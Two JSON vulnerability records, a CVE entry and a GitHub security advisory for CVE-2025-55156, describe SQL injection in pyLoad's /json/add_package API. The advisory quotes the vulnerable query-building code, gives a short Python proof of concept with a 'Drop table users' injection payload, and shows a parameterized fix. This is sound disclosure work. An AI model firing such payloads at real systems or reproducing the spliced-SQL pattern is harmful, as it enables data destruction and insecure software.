{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-55156",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-08-12T15:49:23.306603Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-08-12T15:49:56.057Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "pyload",
          "vendor": "pyload",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.5.0b3.dev91"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-08-11T22:21:52.225Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf"
        },
        {
          "name": "https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f"
        },
        {
          "name": "https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271"
        }
      ],
      "source": {
        "advisory": "GHSA-pwh4-6r3m-j2rf",
        "discovery": "UNKNOWN"
      },
      "title": "PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-55156",
    "datePublished": "2025-08-11T22:21:52.225Z",
    "dateReserved": "2025-08-07T18:27:23.306Z",
    "dateUpdated": "2025-08-12T15:49:56.057Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev91"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-12T00:13:46Z",
    "nvd_published_at": "2025-08-11T23:15:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.\n\n### Details\n- Affected file\uff1ahttps://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271\n- Affected code:\n```python\n@style.queue\n    def update_link_info(self, data):\n        \"\"\"\n        data is list of tuples (name, size, status, url)\n        \"\"\"\n        self.c.executemany(\n            \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n            data,\n        )\n        ids = []\n        statuses = \"\u0027,\u0027\".join(x[3] for x in data)\n        self.c.execute(f\"SELECT id FROM links WHERE url IN (\u0027{statuses}\u0027)\")\n        for r in self.c:\n            ids.append(int(r[0]))\n        return ids\n````\nstatuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.\n\n- Vulnerability Chain\n```xml\njosn_blueprint.py#add_package\nsrc/pyload/core/api/__init__.py#add_package\nsrc/pyload/core/managers/file_manager.py#add_links\nsrc/pyload/core/threads/info_thread.py#run\nsrc/pyload/core/threads/info_thread.py#update_info\nsrc/pyload/core/managers/file_manager.py#update_file_info\nsrc/pyload/core/database/file_database.py#update_link_info\n```\n\n\n### PoC\n```python\nimport requests\n\n\nif __name__ == \"__main__\":\n    url = \"http://localhost:8000/json/add_package\"\n    data = {\n        \"add_name\": \"My Downloads1\",\n        \"add_dest\": \"0\",\n        \"add_links\": \"https://www.dailymotion.com/video/x8zzzzz\u0027) or 1; Drop table users;--\",\n        \"add_password\": \"mypassword\"\n    }\n\n    response = requests.post(url, cookies=your_cookies, data=data)\n    print(response.status_code, response.text)\n```\n\u003cimg width=\"1599\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202\" /\u003e\n\n\n\n\n### Remediation\n ```python\ndef update_link_info(self, data):\n    \"\"\"\ndata is list of tuples (name, size, status, url)\n\"\"\"\n    self.c.executemany(\n        \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n        data,\n    )\n    \n    # \u63d0\u53d6\u6240\u6709url\n    urls = [x[3] for x in data]\n    \n    # \u6784\u5efa\u53c2\u6570\u5316\u67e5\u8be2\uff0c\u907f\u514dSQL\u6ce8\u5165\n    placeholders = \u0027,\u0027.join([\u0027?\u0027] * len(urls))\n    query = f\"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)\"\n    self.c.execute(query, urls)\n    \n    ids = [int(row[0]) for row in self.c.fetchall()]\n    return ids\n```\n\n\n\n### Impact\nAttackers can modify or delete data in the database, causing data errors or loss.",
  "id": "GHSA-pwh4-6r3m-j2rf",
  "modified": "2025-08-12T13:16:38Z",
  "published": "2025-08-12T00:13:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55156"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter"
}